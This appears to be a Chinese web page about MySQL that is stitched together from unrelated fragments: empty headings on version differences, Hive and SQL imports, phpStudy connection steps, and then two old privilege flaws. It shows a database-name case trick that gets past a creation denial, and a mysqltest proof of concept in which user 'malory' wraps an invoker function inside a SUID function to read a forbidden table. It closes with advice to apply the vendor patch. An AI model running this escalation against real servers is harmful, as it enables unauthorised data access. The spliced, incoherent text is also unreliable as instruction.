mysql修改版本

我们知道，mysql的不同版本，有可能会存在着一些差异，比如：

hive中支持的数据转换：

linux一次导入多个sql文件

1.首先查看phpstudy中mysql的路径：比如：E:\phpStudy\MySQL\bin

2.然后打开dos窗口，将目录切换至mysql，bin目录下：

3.输入mysql命令，进行连接：mysql -h localhost -u root -p 回车；输入密码再次回车。mysql连接成功！

1、创建数据库

$ mysql -h my.mysql.server -u sample -p -A sample

Enter password:

Welcome to the MySQL monitor. Commands end with or \g.

Your MySQL connection id is 263935 to server version: 4.1.16-standard

mysql>create database another

ERROR 1044: Access denied for user 'sample'@'%' to database 'another'

mysql>create database sAmple

Query OK, 1 row affected (0.00 sec)

2、权限提升

--disable_warnings

drop database if exists mysqltest1

drop database if exists mysqltest2

drop function if exists f_suid

--enable_warnings

# Prepare playground

create database mysqltest1

create database mysqltest2

create user malory@localhost

grant all privileges on mysqltest1.* to malory@localhost

# Create harmless (but SUID!) function

create function f_suid(i int) returns int return 0

grant execute on function test.f_suid to malory@localhost

use mysqltest2

# Create table in which malory@localhost will be interested but to which

# he won't have any access

create table t1 (i int)

connect (malcon, localhost, malory,,mysqltest1)

# Correct malory@localhost don't have access to mysqltest2.t1

--error ER_TABLEACCESS_DENIED_ERROR

select * from mysqltest2.t1

# Create function which will allow to exploit security hole

delimiter |

create function f_evil ()

returns int

sql security invoker

begin

set @a:= current_user()

set @b:= (select count(*) from mysqltest2.t1)

return 0

end|

delimiter |

# Again correct

--error ER_TABLEACCESS_DENIED_ERROR

select f_evil()

select @a, @b

# Oops!!! it seems that f_evil() is executed in the context of

# f_suid() definer, so malory@locahost gets all info that he wants

select test.f_suid(f_evil())

select @a, @b

connection default

drop user malory@localhost

drop database mysqltest1

drop database mysqltest2

建议：

厂商补丁：MySQL AB

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载。

---